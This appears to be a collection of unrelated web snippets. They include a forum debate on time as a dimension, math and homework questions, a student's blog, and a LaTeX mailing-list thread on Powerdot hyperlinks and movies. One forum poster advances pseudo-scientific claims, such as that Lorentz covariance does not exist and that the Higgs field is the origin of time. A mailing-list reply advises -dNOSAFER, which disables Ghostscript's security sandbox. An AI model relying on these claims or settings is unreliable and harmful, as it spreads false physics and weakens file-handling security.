text:
# Why Universe Appears to Have Only 1 Time and 3 Spatial Dimensions>

Discussion in 'Physics & Math' started by Spellbound, Sep 15, 2015.

1. ### Billy TUse Sugar Cane Alcohol car FuelValued Senior Member

Messages:
23,198
Things are located in 3D space, but not stationary. Time is more of an index that changes with their motion than a dimention.

danshawen likes this.

3. ### danshawenValued Senior Member

Messages:
3,942
An electron is a "thing". It is made of bound energy E=mc^2. That bound energy propagates also, and the perfect rotation going on inside requires, literally, no measure of the dimension we call time in order for this rotational mode of propagation to proceed continuously, as viewed from the outside where unbound energy propagates in a straight temporal path limited by the speed of light in a vacuum.

The Higgs mechanism gives the electron its inertial REST mass by interacting with that rotational mode of propagation. When kinetic energy is added to the external motion of the electron, it couples to the bound energy inside by means of a Doppler shift, but no matter how much it is accelerated, the vector sum +c adds to -c, both invariant, to resolve to the rest frame of the electron (v=0).

Other than the exact timeless center of that (and other) electrons and particles of bound energy, absolute space does not exist. We live in a universe of energy exchange events.

Lorentz covariance does not exist in this universe. Space IS light travel time, even though an understanding of the dimension of time together with energy rotation accounts for the rest of this narrative. The linear propagation of unbound energy is by no means the smallest measure of time. The rotational propagation of bound energy takes less time because that is is in part where time originates. The rest of the story involves the Higgs field and the energy of the vacuum.

Simultanaeity, other than for quantum entanglement, does not exist. Time and energy are both continuous and so we would not expect there to be such a thing. For every interval of time you could specify in which a pair of energy exchange events are essentially simultaneous, there is a smaller one in which they are not, other than at the instant of the temporal origin of entanglement. Time proceeds at different rates everywhere there are energy events. Even atomic decay events proceed at different rates at different depths in the Earth's crust, or on different planets. Trying to determine this from calculations about spacetime geometry or space warpage in't just eccentric. It's deranged. The Higgs mechanism works all the way to the center of black holes. There is a good reason for that.

Because the Higgs mechanism acts by means of slowing the kinetic energy of electrons, quarks, electroweak bosons, and their antiparticles so that they can assimilate into atomic structure, and the Higgs itself derives inertial mass from the interaction, a time dilation field in space surrounding matter results. The Higgs field, together with bound energy, is the basis of time. It gravitates exactly the way the graviton was supposed to work in quantum gravity. Light bends in the vicinity of bound energy. At no point in this universe does the passage of time proceed at the same rate, even though the instant of "now" is the basis for quantum entanglement. Absolute time has only an origin, which is the same everywhere. This is the universal role of entanglement. It's really not a conceptual problem because the Higgs field itself is entangled everywhere. If it were not, time dilation would not do what it manifestly does.

For more background about the underlying model of the relativistic quantum foam universe, see the appropriate threads in Alternative Theories: "Space Composed as a Field of Virtual Energy".

We have combined the Higgs mechanism with Special Relativity and just one new law of motion involving only energy and time because it was Einstein's purest expression of the invariant speed of light. Invariance of interval, warpage of spacetime, etc., were ideas that derived of pure mathematics, not physics or its bindings to physical reality of this universe.

None of this would have been possible to figure out without the LHC and the certainly of the July 2012 five sigma discovery of the Higgs boson. Moral of the story: there are definite advantages to being able to clock zeptosconds in a collider. The discovery of the origin of time is only the first.

Last edited: Nov 22, 2015

5. ### brucepValued Senior Member

Messages:
4,098
Everything you wrote here is rubbish.

danshawen likes this.

7. ### danshawenValued Senior Member

Messages:
3,942
As is what you sparsely write. Anything specific you disagree with?

Don't forget to dazzle us with your grasp of particle physics, something that has been notably absent on your raves about mainstream cosmology. This is not about cosmology-- yet.

Last edited: Nov 22, 2015
8. ### brucepValued Senior Member

Messages:
4,098
In relativistic models it's a demension. ...."an index that changes"...... LOL. How profound.

danshawen likes this.

Messages:
3,942
Good. More?

10. ### brucepValued Senior Member

Messages:
4,098
Everything. What does Matt Strassler have to do with the Opera experiment? Nothing. What he did was confirm your idea about the Higgs was nonsense. We don't need Prof. Strassler to confirm that we just need you to open your mouth on the subject. You're not an authority on any of this stuff. You should shut up and quit making a fool of yourself. Regardless what you think connecting Professor Strassler, the Opera experiment, and the Higgs particles isn't a good analogy. It's self serving nonsense.

Last edited: Nov 22, 2015
danshawen likes this.
11. ### danshawenValued Senior Member

Messages:
3,942
By his own admission, Strassler was involved with OPERA.

It took some serious reading on "Of Particular Significance" to find this out, but it is there. I would not be surprised if he removed that section of his blog, WHICH I HEAVILY COMMENTED ON long before joining sciforums.

I wish to make it clear that the OPERA fiasco is not necessarily a reflection of the quality of Matt's theoretical work, but as a matter of fact, if I had been involved with OPERA, and they told me that neutrinos were superluminal, that's the day I would have gone looking for work with a different group. We already had evidence from the 1987 supernova that neutrinos and anti neutrinos arrived only slightly later than the time the light from that event reached Earth.

Matt is still correct that strictly speaking, the Standard Model does not feature anything like Higgs gravitation, and relativity has been sanitized to grinding the crank with "boost matrices". Well, it runs a bit deeper than that.

Excellent response.

You also deserve credit for helping to develop this, more than you know. When someone speaks of Emergent Space and then begins to describe time in terms of space, that's just a HUGE problem. That I found a way out of the dilemma means that I needed to jettison two colleagues and their tortured ideas and go with what I learned here from responses like yours.

Whether you buy into this Higgs-Relativity-Gravity or not yet is not important at this point, so, peace.

I've added a single new law of the propagation of bound energy that anyone who really understands E=mc^2 should be able to get, even if they do not buy into the concept that rotation of energy within a particle like an electron (and it may be very complex) requires no passage of time that is analogous to unbound energy propagating in a straight temporal line in a vacuum at c. Any problems here?

So, energy slowing down FROM the speed of light is every bit time dilation's effect as much as speeding up particles of the bound energy we call matter to relativistic speed. Relativity itself had a hidden symmetry here that was hiding in plain sight, just as you might expect of a theory that always requires at least two observers.

Last edited: Nov 22, 2015
12. ### Billy TUse Sugar Cane Alcohol car FuelValued Senior Member

Messages:
23,198
That is because if you want to describe events in another reference frame, moving with repect to yours, their time index (or yours going the other way) has spatical dimentions mixed into it; however, if only considering events in one inertial frame, this does not happen - Time in one frame is just an index, not a dimention.

Sort of like a movie film frame number is an index, that could be used to tell where items are and how much they have moved from one frame to the next.

Summary: Items have defined positions in 3D, but their position is not necessarily fixed.

Last edited: Nov 22, 2015
13. ### brucepValued Senior Member

Messages:
4,098
No. That's not the case we can determine the proper tick rate for any local proper frame. We can compare the local proper tick rate with any other local proper frame. Pretty much in every physics result a time coordinate is involved. Thinking it doesn't exist as phenomena in this universe is counterproductive.

danshawen likes this.
14. ### Billy TUse Sugar Cane Alcohol car FuelValued Senior Member

Messages:
23,198
I agree: Time is a coordinate, but not a dimension. Dimensions span some space. Time is only an advancing index that specifies the extent of changes in that 3D space.

Yes, I also agree that proper time in one frame, if expressed in another frame moving wrt the first, will have spatial dimentions mixed into it. This is very much like the lengths in one frame are changed when expressed in the lengths of another.

Also it is not necessarily true that the time index must appear in the ,equations of physics. I have more than once, in posts, shown that "t" can be elimated from equations. I. e. any two observables can be directly related. For example the height of a burning candle can be express in terms of the water level in a basis with unchange flow into it with no mention of time.

Last edited: Nov 22, 2015
15. ### Fraggle RockerStaff Member

Messages:
24,690
Uh... it would be more useful to the discussion, yet fully within the acceptable range of scholarly dialog, to say that the universe has three spatial dimensions and one temporal dimension.

The Wikipedia article on "dimension" takes this approach, without even bothering to defend it. This implies that they don't expect any serious argument.

Neither should we.

16. ### Billy TUse Sugar Cane Alcohol car FuelValued Senior Member

Messages:
23,198
Fraggle:Many people thinking the same does not make what they think correct. Time has not one property or observable. The "t" parameter that appears in many equation, is a convenience, as it leaves vague how it changes. Could be angular position of the sun, or number of swings of a pendulm or ocsillations of the chrystal in a timex watch, but not the unobservable time itself.

Physics relates one observable change to another. Like length of metal rod to its temperature.

In contrast the true dimentions can not be eliminated from the equations of physics. For example, the expresion for volume of an object, V(x,y,z) must have all three dimensions. The density of that object, D, an equation in physics, is D = M/V. None of the three real dimensions can be eliminated. That is the difference between parameter t and dimensions, x, y, z.

SUMMARY: I am not impresed that 99.9% of the educated population thinks time is a dimention with no space to span.

Last edited: Nov 22, 2015
17. ### danshawenValued Senior Member

Messages:
3,942
One at at time then.

1. Time is a coordinate, but not a dimension

Time dilation is different everywhere. I must have written this over 100 times here now, so how can you read right past it? The rate at which time proceeds depends on

1) your location in a gravitational field, or for that matter, near ANY bound or unbound energy that is near a location where time intervals are measured, and

2) your relative state of motion with respect to an observer in another state of motion.

If time is a "coordinate", it would need to be one of a most BIZARRE geometry in order to satisfy relativity. Do yourself a favor and forget about geometry. Absolute space only exists at the centers of bound energy. Only an ORIGIN of absolute time remains via quantum entanglement. Simultaneity does not exist at all in a universe composed of energy transfer events.

LOOK-- NOT EVERYONE LIVES ON THE SURFACE OF THE EARTH. GPS satellites that help you to locate where you are don't. They use GENERAL RELATIVITY to determine the rate at which time passes on a LEO satellite relative to you and CONTINUOUSLY need to make corrections for it. If it did not-- if temporal corrections were not continuously made, your GPS location data would drift hundreds of meters a day.

2. Dimensions span(s) some space

Sure does. TIME "spans" space too. Problem is, there ISN'T really any "space", other than inside solid matter that is "at rest". Most of that solid will also be empty space, and that empty space is nothing more or less than the time it takes virtual energy in the vacuum to propagate in the same amount of TIME it takes for light to propagate across the vacuum between particles. That space Lorentz CONTRACTS to nothing relative to observers in relativistic reference frames with respect to yours at rest. Which observer is correct about lengths, the one who is at rest, or the one who is moving? This isn't fantasy; it's relativity theory. None of Euclid's geometry works out here in relativistic space. It never worked anywhere other than in solid matter at rest. Space is just the distance light travels in a given interval of TIME, rotated in every direction. Just three are sufficient to generate all of what we perceive as "space".

All you need in order to generate the illusion of a "space" is energy that propagates in one of two modes; either linear (unbound), or rotating (bound). It is the rotating frame that is new in this theory. The rotation of a fundamental particle of matter requires no passage of time at all in order to accomplish a perfect rotation in all directions virtually at once.

3. Time is only an advancing index that specifies the extent of changes (as compared to what is going on in) 3D space.

That's what your wristwatch does, sure. That's what your fancy atomic clock does, sure. That's what radioactive decay used as a clock does, sure.

But that isn't what the Higgs mechanism does. Without the Higgs mechanism, electrons, quarks, electroweak bosons and their antiparticles all just zoom off at the speed of light in a vacuum and atomic structure itself is not possible. Higgs SLOWS THESE PARTICLES DOWN FROM the speed of light and gives inertial mass to these particles AND TO ITSELF. It does so with gusto. It's FATTER than a photon. With photons, you just see things. With Higgs, you get hurt when you fall. Not only that; the longer and faster your drop, the more time dilates. It's like it's rubbing your smashed face in your own clumsiness in slow motion. Don't mess with the "G-d Particle"'; it can and does smack down black holes.

In empty space, the Higgs mechanism is what KEEPS THE BOUND ENERGY THAT IS MATTER from EXCEEDING the speed of light when you accelerate them from rest.

In the case of BOTH matter and energy, the Higgs field causes time dilation in any energy exchange between the limits of "at rest" and the invariant speed of light for both bound and unbound energy, because the Higgs field is the origin of time itself. It is NOT an index. It is not a wristwatch. Without Higgs, time itself doesn't exist. Combine it with relativity, and all of the energy transfer events in this universe suddenly make perfect sense.

If you wish to use any or all of this in YOUR next book BillyT, you have my permission to use it. Check the sciforums licensing before you do so.

Last edited: Nov 23, 2015
18. ### The GodValued Senior Member

Messages:
3,546
"Time dilation is different everywhere" but with respect to what ?

Your entire proposition is time dilation and bound / unbound energy. One by one: GR is 100 years old in our time, so how do you see the time dilation without pumping in one more reference. Who is the "Boss Time Keeper" or it is just the round table, anybody becomes boss and others have time dilation..Thats funny. The temporal flow of time needs definition with single frame around, which none could give so far. We end up linking motion somehow.

19. ### The GodValued Senior Member

Messages:
3,546
I give you a simple idea....

Start with all energy, unbound energy...no matter. This energy although is moving at 'c' but appears static, your freaky action at remote also can be explained in non existent photon frame, in which every photon while travelling infinity is static in its own non existent frame (appears foolishly contradictory, but thats how it is)....No motion, nothing, its like try SR on all photons and everything appears static.

Now something happend, some freaky action happened, higgs came into picture, due to massive accummulation of photons at a freaky point, and we got something travelling at less than 'c'. That one instant, the motion became apparent and time started, things appeared different, changed and thats what time is. So t = 0 is that instant in which from all photons moving at c (which was a dynamically static situation : Oxymoron, but understandable), an energy field (or a partcile) with speed less than 'c' got created, change is visible and time originated, and rest is history.

You are free to use this idea, but with due credit to me (The God)..

20. ### SchmelzerValued Senior Member

Messages:
3,703
With respect to the devices we use to measure it - clocks. Once clocks measure dilated time, one can compare different clocks to compare them and see if time dilation is the same for all clocks - in this case, they would have to show the same numbers, independent of the trajectory of the clock, only with the accuracy of the clock itself as limiting the agreement between the clocks - or not. Observation shows that not. Different clocks show different "times", and the difference depends on the paths of the clocks, the trajectory they travel, and on the gravitational field at the places where the clock travels.

We have a formula for this, $\tau = \int_{\gamma} \sqrt{g_{mn}(\gamma(t)) \frac{d \gamma^m}{dt}\frac{d \gamma^n}{dt}}dt$. This formula remembers the formula for the length of a path in a curved space, except that such a metric is defined by a positive-definite metric tensor field $g_{mn}(x)$, which the pseudometric which defines the gravitational field is not positive definite, thus, only formally remembers a metric.

21. ### Billy TUse Sugar Cane Alcohol car FuelValued Senior Member

Messages:
23,198
When I said "time is a coordinate" or "time is an index" that does not imply the "steps of time" are all the same everwhere. In an intense gravitational field, ALL PROCESSES proceed more slowly than in a weak field.*

For specific example, imagine two identical timex watches, both started at 12:00:0000 noon simulatneoulsy, one on surface of moon and other on surface of Earth. The one on the moon will show 12:00:0000 midnight before the one on earth does. (By giving the final :0000, I am assuming the crystal in the timex oscillates more than 10,000 cycles each second.)

* Time is not observable. Real events /changes are observable. Thus we pick some observable periodic event and define the second as X cycles of the periodic event.

Time does not have any geometry. Geometry is relationships that exist in space of 2 or more dimentions. For example one well known relationship in 2D space is the Pythagorian theorem. The sum of the internal angles of a triangle is 180 degrees is another geometic fact.

If you think time has some geometic property, please tell it. I think time has not one property of any kind. - Why time can not be observed.

Last edited: Nov 23, 2015
danshawen likes this.
22. ### danshawenValued Senior Member

Messages:
3,942
Differences in height of as little as 1m near the surface of the Earth have measurable differences in the rate at which time passes. The implication is, this in principle works all the way down to the Uncertainty Principle limit, or our ability to build accurate clocks, which amounts to the same thing.

Time IS geometry, EINSTEIN's, not Euclid's. The Pythagorean theorem does not apply to a universe of energy exchange events where any length we measure is relative to the state of motion of the observer, and the orientation of the 2D triangle in a gravitational field.

23. ### danshawenValued Senior Member

Messages:
3,942
With respect to:

1) The rate at which time proceeds at any point near a gravitational OR AN INERTIAL MASS, or even UNBOUND ENERGY, such as a beam of light.
2) The rate at which time proceeds relative to any other inertial reference frame.

For more background, see Alternative Theories: "Space Composed of a Field of Virtual Energy".

Belated Happy Birthday, Albert. Happy Birthday, General Relativity.


text:
nLab categorical geometric Langlands conjecture

The categorical geometric Langlands conjecture is a categorical version of the geometric Langlands conjecture. It is formulated as an equivalence of stable (infinity,1)-categories of

and

where $X$ is a smooth complete curve over a field of characteristic zero, and $G$ is a reductive group and $G^\vee$ is its Langlands dual?.

References

• D. Gaitsgory et. al., Geometric representation theory, graduate seminar, Fall 2009–Spring 2010, web.

• MO/56571, A precise statement of the categorical version of geometric Langlands conjecture.

Last revised on October 5, 2015 at 11:41:14. See the history of this page for a list of all contributions to it.

format: plain


text:
# Math Help - Integration by expansion

1. ## Integration by expansion

Consider the integral

I(x)= \frac{1}{\pi} \int^{\pi}_{0} sin(xsint) dt

show that

I(x)= 4+ \frac{2x}{\pi}x +O(x^{3})

as $x\rightarrow0$.
=> I Have used the expansion of McLaurin series of $I(x)$ but did not work.
I'm not getting that 4. I'm getting only $\dfrac {2x}{\pi}$


text:
Who wanna text on p.adlet if it is not yes or no answer i will take the points back

Question:

who wanna text on p.adlet if it is not yes or no answer i will take the points back

Why is the earths center of a earthquake called epicenter?

Why is the earths center of a earthquake called epicenter?...

Assume that cell F5 to F10 In a spreadsheet contains numeric value of salary earned by some workers and cell F12 contains the value of 5%.Write a formula that will be used to increase the value stored in the cell F5 by 5%?

Assume that cell F5 to F10 In a spreadsheet contains numeric value of salary earned by some workers and cell F12 contains the value of 5%.Write a formula that will be used to increase the value stored in the cell F5 by 5%?...

Write a money situation for the following expression: $1.20x+$2.30y

write a money situation for the following expression: $1.20x+$2.30y...

Use article. (a, an, The)a) _____ Nile is in Egypt.b) There is _____ bat.c) He is _____ honest man.d) Do you want _____ orange?e) ______ moon gives pleasant flight.

Use article. (a, an, The)a) _____ Nile is in Egypt.b) There is _____ bat.c) He is _____ honest man.d) Do you want _____ orange?e) ______ moon gives pleasant flight....

Which line shows the first error in the solution?

Which line shows the first error in the solution?...

???????? Don’t understand

???????? Don’t understand...

Explain the error in the work and how you might prevent it

Explain the error in the work and how you might prevent it...

Question 7 Felipe al mercado. O voy O vas o van va

Question 7 Felipe al mercado. O voy O vas o van va...

Marcy is running for student council and had drafted this speech to deliver to her classmates. After which two sentences should Marcy insert more specific details about how she will achieve her goals??

Marcy is running for student council and had drafted this speech to deliver to her classmates. After which two sentences should Marcy insert more specific details about how she will achieve her goals??...

What was the significance of the cattle drives from Texas to Missouri in the late 1860s?

What was the significance of the cattle drives from Texas to Missouri in the late 1860s?...

Which of the following are ways that an organisms habitat can be described? [mark all correct answers] a. the average amount of sunlight received each day b. the range of annual temperatures e. average yearly rainfall d. type of soil

Which of the following are ways that an organisms habitat can be described? [mark all correct answers] a. the average amount of sunlight received each day b. the range of annual temperatures e. average yearly rainfall d. type of soil...

Why do your legs hurt after running for a while A. Too much oxygen B. A buildup of lactic acid C. Too many mitochondria D. A buildup of ATP

Why do your legs hurt after running for a while A. Too much oxygen B. A buildup of lactic acid C. Too many mitochondria D. A buildup of ATP...

What happened to The Gates after the project ended? What does it show about the artists’ motives? christo and Jeane-Claude through the Gates and beyond

What happened to The Gates after the project ended? What does it show about the artists’ motives? christo and Jeane-Claude through the Gates and beyond...

An unknown compound contains only carbon, hydrogen, and oxygen (cxhyoz). combustion of 3.50 g of this compound produced 5.13 g of carbon dioxide and 2.10 g of water.how many moles of hydrogen, h, were in the original sample?

An unknown compound contains only carbon, hydrogen, and oxygen (cxhyoz). combustion of 3.50 g of this compound produced 5.13 g of carbon dioxide and 2.10 g of water.how many moles of hydrogen, h, were in the original sample?...

What is the sum of this infinite geometric series

what is the sum of this infinite geometric series...

Identify the different forms that money takes in the nation's money supply

Identify the different forms that money takes in the nation's money supply...


text:
Solution - Surface Area of a Right Circular Cylinder

Account
Register

Share

Books Shortlist
ConceptSurface Area of a Right Circular Cylinder

Question

In a hot water heating system, there is a cylindrical pipe of length 28 m and diameter 5 cm. Find the total radiating surface in the system.

["Assume "pi=22/7]

Solution

You need to to view the solution
Is there an error in this question or solution?

Similar questions

Curved surface area of a right circular cylinder is 4.4 m2. If the radius of the base of the cylinder is 0.7 m, find its height.

["Assume "pi=22/7]

view solution

Find

(i) The lateral or curved surface area of a closed cylindrical petrol storage tank that is 4.2 m in diameter and 4.5 m high.

(ii) How much steel was actually used, if 1/12 of the steel actually used was wasted in making the tank.

["Assume "pi=22/7]

view solution

In the given figure, you see the frame of a lampshade. It is to be covered with a decorative cloth. The frame has a base diameter of 20 cm and height of 30 cm. A margin of 2.5 cm is to be given for folding it over the top and bottom of the frame. Find how much cloth is required for covering the lampshade.

["Assume "pi=22/7]

view solution

The curved surface area of a right circular cylinder of height 14 cm is 88 cm2. Find the diameter of the base of the cylinder.

Assume pi = 22/7

view solution

A metal pipe is 77 cm long. The inner diameter of a cross section is 4 cm, the outer diameter being 4.4 cm.(See the given figure)

(i) inner curved surface area,

(ii) outer curved surface area,

(iii) total surface area.

["Assume "pi=22/7]

view solution

S


text:
## The Midlife Geek

### Ramblings of a middle aged engineer, runner and open source enthusiast

#### Tag: Open University (page 1 of 5)

With a bachelors completed, a sense of “what now” quickly settles in and a masters degree is a logical next step. After graduation, the Open University (OU) was quick to respond to tweets:

Struggled to get my head around Euler problem 15:

Starting at the top left of a 20×20 grid and only moving right and down, how many routes are there?

I figured that this was a combinatorics problem but couldn’t see what to count or choose from.

Project Euler problem 21 is to find the sum of all amicable numbers under 10000. An amicable number is:

Let $$d(n)$$ be the sum of proper divisors of $$n$$ then $$d(a)=b$$ and $$d(b)=a$$ if $$a!=b$$ then $$a$$ and $$b$$ are amicable numbers.

I attended the University’s Graduation Ceremony at Ely Cathedral yesterday. If theres one thing that the UK loves, it’s a ceremony.

It was very well organised and planned. Free parking wth a shuttle bus to the Cathedral, clear direction to registration, robing and photography. There were a lot of nervous graduates but there needn’t have been. Ushers sent each row of graduates up along the side, where out of sight lists were checked and someone straightened our robes.

I think there’s probably more value in these things for family than for the graduates themselves but I enjoyed the day.

Not sure where to go from here. I enjoy studying – masters seems logical but I don’t have the interest I once did in Computing. I’ve looked at the Open Masters but would need to focus on science and the choice seems a little narrow. I guess I’ll figure it out.

Booked a graduation ceremony at last. Trying to find a suitable location, that fits in around work and family is a bit of a Travelling Salesman Problem.

I’m still not sure where to go next.

My current contract employs me until the end of 2021. Looking at an MSc with the OU, the Information Security and Forensics specialism looks fascinating and will no doubt continue to be an important area of the industry. To complete the qualification by 2021, I would need to register on Digital Forensics (M812) to start in May.

That means I could have started an MSc before my BSc graduation ceremony!

I haven’t posted in a long time. I’ve been busy with the final part of my Open University studies – TM470 (The Computing and IT Project). But I submitted it in the early hours of this morning!

My project was an Android application, the development of which I have enjoyed. Over the next few months I intend to develop another application and post here on the process.

TM470 Tutor Marked Assessment results are out. With 73, 75 and 81% there is weighting to consider – 5% for the first and 10% for the others. That gives a total score of 19.25%. The pass mark is 40%, with at least that much in the End of Module Assessment.

I’m also in a funny position. Given my scores on other modules no matter the result of this module (assuming I pass), then I get a 2:1. There’s another thing – I’ve taken this qualification over about eight years. That rules out British Computer Society accreditation as that requires qualification over six.

So I can’t say that I have the best motivation – I want it over. There are a pile of books, games, movies and TV shows waiting. I’m tired of planning my life around study. It feels like a chore now.

Learning is something to enjoy – studying is not.

Like many students I imagine, I’d no idea where to start with my final project. Having read the preparatory material I had some idea of what was expected but didn’t understand how to write a proposal.

The book How to Write Dissertations & Project Reports (McMillan and Weyers) has been invaluable. While the first tutor marked assessment is the proposal itself, I needed somewhere to start and the chapter on writing a proposal is clear and concise.

The university allocated my tutor this weekend. Seems quite real now – going to be busy for the next six months!

An oversubscribed TM470 has seen the Open University de-register students. It seems the University was unable to recruit enough tutors. I was fortunate to secure a place but can only imagine the frustration of those who didn’t.

I would make an educated guess that there are two reasons for the increased volume. First the introduction of tuition fees. Five years after their introduction, transitional arrangements end this year. Second, B62 degree is being removed (of which this is a compulsory module). I would have thought extending this degree for a further year would be a solution.

This doesn’t show the University in its best light.


text:
15 Feb 10:07 2012

### Powerdot: adding a hyperlink to open an external file

Hi,
I would like to add a link in my presentation which would open an
external PDF file. For example, I would have the phrase "Is this OK?"
where when I click on "OK" then an external PDF file will be opened.

Thanks.

Best Regards,
Y.Calleecharan

15 Feb 09:28 2012

### Re: Powerdot: adding a hyperlink to open an external file

Hi,
Am 15.02.2012 10:07, schrieb Yogeshwarsing Calleecharan:
>
>     I would like to add a link in my presentation which would open an
> external PDF file. For example, I would have the phrase "Is this OK?"
> where when I click on "OK" then an external PDF file will be opened.
\hypersetup{backref=page, ...}

\begin{slide}{}
Is this OK?
\href{run:example.pdf}{OK}
\end{slide}

Greetings,
Christine

--

--
http://www.personal.uni-jena.de/~xcr/v2/
http://www.lexicology.de/

15 Feb 10:52 2012

### Re: Powerdot: adding a hyperlink to open an external file

Thanks. It is working. However when one goes to the file example.pdf,
the original presentation file is closed. I can add another \href, this
time to example.pdf to open the presentation file again. But then the
presentation file opens at the beginning. How do I make the presentation
file to open again at the location where we had the line "Is this
\href{run:example.pdf}{OK}" ?

Thanks

Best Regards,
Yogeshwarsing

On 2/15/2012 9:28 AM, Christine Roemer wrote:
> Hi,
> Am 15.02.2012 10:07, schrieb Yogeshwarsing Calleecharan:
>>      I would like to add a link in my presentation which would open an
>> external PDF file. For example, I would have the phrase "Is this OK?"
>> where when I click on "OK" then an external PDF file will be opened.
> \hypersetup{backref=page, ...}
>
> \begin{slide}{}
> Is this OK?
> \href{run:example.pdf}{OK}
> \end{slide}
>
>
> Greetings,
> Christine
>
>

(Continue reading)

15 Feb 09:59 2012

### Re: Powerdot: adding a hyperlink to open an external file

Am 15.02.2012 10:52, schrieb Yogeshwarsing Calleecharan:
> Thanks. It is working. However when one goes to the file example.pdf,
> the original presentation file is closed. I can add another \href,
> this time to example.pdf to open the presentation file again. But then
> the presentation file opens at the beginning. How do I make the
> presentation file to open again at the location where we had the line
> "Is this \href{run:example.pdf}{OK}" ?

powerdot-file.tex
-------------------------
slide number x:

Is this \href{run:example.pdf}{OK}

example.tex
------------------
\begin{document}

\href[page=x]{powerdot-file.pdf}{OK}

\end{document}

Christine

--

--
http://www.personal.uni-jena.de/~xcr/v2/
http://www.lexicology.de/

15 Feb 11:08 2012

### Re: Powerdot: adding a hyperlink to open an external file

This command:

\href[page=x]{powerdot-file.pdf}{OK}

is not opening the file at the right page. We are still at the beginning
of the document.

BR
Yogeshwarsing

On 2/15/2012 9:59 AM, Christine Roemer wrote:
> Am 15.02.2012 10:52, schrieb Yogeshwarsing Calleecharan:
>> Thanks. It is working. However when one goes to the file example.pdf,
>> the original presentation file is closed. I can add another \href,
>> this time to example.pdf to open the presentation file again. But then
>> the presentation file opens at the beginning. How do I make the
>> presentation file to open again at the location where we had the line
>> "Is this \href{run:example.pdf}{OK}" ?
> powerdot-file.tex
> -------------------------
> slide number x:
>
> Is this \href{run:example.pdf}{OK}
>
> example.tex
> ------------------
> \begin{document}
>
> \href[page=x]{powerdot-file.pdf}{OK}
>

(Continue reading)

15 Feb 18:48 2012

### Re: Powerdot: adding a hyperlink to open an external file

Dear all,

I am attaching two tex files and the corresponding pdf files.
Both the files has forward and back button on the bottom left hand corner.
Once you navigate from talk.pdf file to extra.pdf file click on the back button and you should be able to jump back to the correct page in talk.pdf.

I have seen xpdf in fullscreen with continuous mode off does this nicely.
I think acrobat reader in windows also does it correctly. Let me know if you have any problem.

Regards,
Anjishnu

Attachment (talk.tex): application/x-tex, 1398 bytes
Attachment (extra.tex): application/x-tex, 1381 bytes
Attachment (talk.pdf): application/pdf, 20 KiB
Attachment (extra.pdf): application/pdf, 21 KiB
17 Feb 19:57 2012

### Re: Powerdot: adding a hyperlink to open an external file

Thanks for your answer.

Best Regards,
Y.Calleecharan

On 2/15/2012 6:48 PM, Anjishnu Sarkar wrote:
> Dear all,
>
> I am attaching two tex files and the corresponding pdf files.
> Both the files has forward and back button on the bottom left hand corner.
> Once you navigate from talk.pdf file to extra.pdf file click on the
> back button and you should be able to jump back to the correct page in
> talk.pdf.
>
> I have seen xpdf in fullscreen with continuous mode off does this nicely.
> I think acrobat reader in windows also does it correctly. Let me know
> if you have any problem.
>
> Regards,
> Anjishnu
>

18 Feb 07:30 2012

### Re: Powerdot: adding a hyperlink to open an external file

Your welcome

Regards,
Anjishnu

22 Feb 15:51 2012

### movie in presentation does not work with TeXLive 2011

Hi,
I have a problem to make movie with (latest) TexLive 2011 and with
the latest Powerdot. Below is my code for the presentation. You can find
the additional files needed here:

test.ps and test.avi

http://petitlien.fr/platex

The compilation works fine with TexLive 2008 but not with TexLive 2011.
The DVIPS operation produces no complaints but the postscript file does
not include the slide on which the movie is. And the compilation to pdf
produces errors. Here is my workflow with TeXLive 2011:

latex "%1"
latex "%1"
latex "%1"
dvips -D7200 -Pcms -Ppdf -j0 -G0 "%1.dvi"
ps2pdf -dCompatibilityLevel#1.5 -sDEVICE=pdfwrite -r720
-dCompatibilityLevel=1.5 -dUseFlateCompression=true -dMaxSubsetPct=100
-dSubsetFonts=true -dEmbedAllFonts=true -dEPSCrop "%1.ps" "%1.pdf"

All files should be in the same folder.

The presentation file defense.tex is:

\documentclass[size=10pt,mode=present,paper=screen,letterpaper,landscape,english,style=myaggie,display=slides]{powerdot}
\usepackage{amssymb}
\usepackage{amsmath}
\usepackage{movie15}

\begin{document}
\begin{slide}[toc=,bm=]{Overview}
\tableofcontents[content=sections]
\end{slide}

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
\section{Background}
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
\begin{slide}{Motivation}
\begin{itemize}
\pause
\item These eccentricities and the phenomenon of
\textcolor{red}{unbalanced magnetic pull} (UMP) mutually affect each
other\\[3.7mm]
\pause
\item The present work has as aims to.
\end{itemize}
\end{slide}

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
\begin{slide}[toc=The UMP]{More about the unbalanced magnetic pull$\ldots$}
\onslide*{1}{
\begin{itemize}
\item The UMP has two components: A \textcolor{red}{radial} component
and a \textcolor{red}{tangential} one\\[3.7mm]
\end{itemize}
}

\end{slide}

\begin{wideslide}[toc=Simulation results]{Does not work with TL2011}
\onslide*{1}{
\vspace{-0.45em}
\def\scalew{1.0}
\def\scaleh{.57}
\includemovie[toolbar,autoresume,repeat=7,text={\includegraphics[width=\scalew\textwidth,height=\scaleh\textwidth]{test.ps}}]{}{}{test.avi}
\vspace{-1.25em}
\begin{itemize}
\item This does not work.
\end{itemize}
}
\end{wideslide}

\end{document}

So basically with TeXLive 2011, the last page containing the movie never
enter the presentation file. But everything works fine with TeXLive 2008.

Thank you.

Best Regards,
Y.Calleecharan

22 Feb 16:47 2012

### Re: movie in presentation does not work with TeXLive 2011

On Wed, Feb 22, 2012 at 03:51:40PM +0100, Yogeshwarsing Calleecharan wrote:
>Hi,
>      I have a problem to make movie with (latest) TexLive 2011 and with
>the latest Powerdot. Below is my code for the presentation. You can find
>the additional files needed here:
>
>test.ps and test.avi
>
>http://petitlien.fr/platex
>
>The compilation works fine with TexLive 2008 but not with TexLive 2011.
>The DVIPS operation produces no complaints but the postscript file does
>not include the slide on which the movie is. And the compilation to pdf
>produces errors.
>
> ...
>
>ps2pdf -dCompatibilityLevel#1.5 -sDEVICE=pdfwrite -r720
>-dCompatibilityLevel=1.5 -dUseFlateCompression=true -dMaxSubsetPct=100
>-dSubsetFonts=true -dEmbedAllFonts=true -dEPSCrop "%1.ps" "%1.pdf"
>

Add

-dNOSAFER

to the list of options of ps2pdf. This overrides security settings of
newer Ghostscript versions.

Alexander

Gmane


text:
How to encode and decode a URL in JavaScript?

